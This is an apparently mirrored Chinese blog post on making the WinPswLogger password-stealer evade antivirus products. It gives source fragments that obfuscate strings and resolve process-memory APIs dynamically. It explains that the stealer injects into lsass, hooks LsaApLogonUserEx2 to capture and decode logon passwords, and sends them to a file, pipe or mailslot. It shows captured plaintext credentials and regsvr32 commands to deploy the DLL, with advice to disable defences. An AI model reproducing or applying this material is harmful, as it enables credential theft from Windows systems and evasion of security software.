zoukankan      html  css  js  c++  java
  • 网络安全:WinPswLogger源码免杀

    WinPswLogger免杀过360提示未能成功,目前没有找到什么好的方法,过其它的杀软方法如下:

    诺顿和symantec

        ret = Hijack_LsaApLogonUserEx2(hProc, m_szLogFileName);

            strcpy(ParamContent.szOutFormat,

             "[%02d/%02d/%d %02d:%02d:%02d]\r\n"

             "LoginType: %d, MessageType: %d\r\n"    //LogonType -->LoginType

             "Domain:   %S\r\n"

             "User:     %S\r\n"

             "Password: %S\r\n"

             );

        /*

        char strFormat1[] = {'[','%02d','/','%02d','/','%d',' ','%02d',':', '%02d', ':','%02d',']','\r','\n','\0'};

        char strFormat2[] = {'L','o','g','o','n','T','y','p','e', ':',' ','%d',',','M','e','s','s','T','y','p','e',':',' ','%d','\r','\n','\0'};

        char strFormat3[] = {'D','o','m','a','i','n',':',' ',' ', ' ',' ','%S','\r','\n','\0'};

        char strFormat4[] = {'U','s','e','r',':',' ',' ',' ',' ', ' ',' ','%S','\r','\n','\0'};

        char strFormat5[] = {'P','a','s','s','w','o','r','d',':', ' ',' ','%S','\r','\n','\0'};

     

        char strFormat[] = {'[','%02d','/','%02d','/','%d',' ','%02d',':', '%02d', ':','%02d',']','\r','\n','L','o','g','o','n','T','y','p','e', ':',' ','%d',',','M','e','s','s','T','y','p','e',':',' ','%d','\r','\n','D','o','m','a','i','n',':',' ',' ', ' ',' ','%S','\r','\n','U','s','e','r',':',' ',' ',' ',' ', ' ',' ','%S','\r','\n','P','a','s','s','w','o','r','d',':', ' ',' ','%S','\r','\n','\0'};

     

        strcpy(ParamContent.szOutFormat, strFormat);

        */

    NOD32:

    1//CredIsProtectedW

    char cipStr[] = {'C','r','e','d','I','s', 'P', 'r','o','t','e','c','t','e','d','W','\0'};

    2// ReadProcessMemory

    typedef WINBASEAPI BOOL (WINAPI *ReadProcessMemoryT)

    (

        __in      HANDLE hProcess,

        __in      LPCVOID lpBaseAddress,

        __out_bcount_part(nSize, *lpNumberOfBytesRead) LPVOID lpBuffer,

        __in      SIZE_T nSize,

        __out_opt SIZE_T * lpNumberOfBytesRead

    );

     ReadProcessMemoryT pReadProcessMemory = (ReadProcessMemoryT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"ReadProcessMemory");

    3//WriteProcessMemory

    typedef WINBASEAPI BOOL(WINAPI *WriteProcessMemoryT)

     

    (

        __in      HANDLE hProcess,

        __in      LPVOID lpBaseAddress,

        __in_bcount(nSize) LPCVOID lpBuffer,

        __in      SIZE_T nSize,

        __out_opt SIZE_T * lpNumberOfBytesWritten

     );

     WriteProcessMemoryT pWriteProcessMemory = (WriteProcessMemoryT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"WriteProcessMemory");

     

    卡巴斯基

    Avria :

    mcafee

    Avg

    金山全套

     

    360全套表面

    查看更多精彩图片
    结果:

    ********************************************************************************************

    [8/23/2011 8:9:45]

    LTP: 2, MTP: 2

    DMN:   MYSQLSERVER

    USN:  Administrator

    PSW:  sp@789456

    ********************************************************************************************

     

    ========原理:

    windows的身份验证一般最终都是在lsass进程,默认模块是msv1_0.dll,而关键在其导出函数LsaApLogonUserEx2,本程序通过注入代码到lsass进程hook LsaApLogonUserEx2,截取密码。只要有身份验证的过程,LsaApLogonUserEx2就会触发,如ipc$,runsa,3389远程桌面登陆等。

     

    程序对不同系统做了处理,在2000,2003,xp,vista上都可以截取,在2000,2003,xp中,通过UNICODE_STRING.Length 的高8位取xor key,如果密码是编码过的,则通过ntdll.RtlRunDecodeUnicodeString解码,vista则通过AdvApi32.CredIsProtectedW判断密码是否编码过,解码用AdvApi32.CredUnprotectW

     

    可以自己调试器挂lsass跑一下:)

     

    ========接口:

    HRESULT WINAPI DllInstall( BOOL bInstall, LPCWSTR pszCmdLine);

     

    这是本dll导出的一个函数原型,请不要被名字蛊惑了,这个程序是绿色的。

    这个函数内部并没有做任何自启动安装的动作,没有修改注册表或系统文件。只是想选一个符合regsvr32调用的接口而已。

     

    第一个参数本程序没用到,

    第二个参数请指定一个文件路径(注意是UNICODE),记录到的数据将保存到这里(是Ansi的)。

    文件路径可以像这样 C:\x.log

    也可以像\\.\pipe\your_pipename, \\.\mailslot\yourslot

    所以你可以自己写loader来调用这个dll,让dll截取到密码时通过pipemailslot将数据发给你的程序。数据就是一个字符串(是Ansi的)

     

    ========测试:

    你可以不急着写自己的loader来调用,用regsvr32作为loader来测试一下:(你可能需要关闭某些主动防御)

     

    regsvr32 /n /i:c:\xxx.dat c:\xxx.dll

    正常的话regsvr32弹出一个提示成功。

     

    这时候你可以切换用户或锁定计算机,然后重新登陆进去,这个过程密码信息就被拦截下来了并保存到c:\xxx.log.

    ---------------------------------------------------------------------------------------

        /s:注册或卸载成功后不显示操作成功的提示框

      /u:卸载已安装的控件或DLL文件

      /n:不调用DLLRegisterServer要注意这个参数应与/i一同使用

      /i:调用DLLInstall并给其传递一个可选的[ cmdline ];当使用/u时用来卸载DLL

    注册

    regsvr32 /n /i:c:\windows\xxxx.dat c:\windows\system32\xxxx.dll

    卸载

    regsvr32 /u winlogon.dll

  • 相关阅读:
    c++数据类型
    c++注释
    c++基本语法
    c++环境配置
    c++简介
    9 HTTP和HTTPS
    12 RESTful架构(SOAP,RPC)
    剑指10二进制中1的个数
    第2章 新手必须掌握的Linux命令
    11个炫酷的Linux终端命令大全
  • 原文地址:https://www.cnblogs.com/Gemgin/p/3136234.html
Copyright © 2011-2022 走看看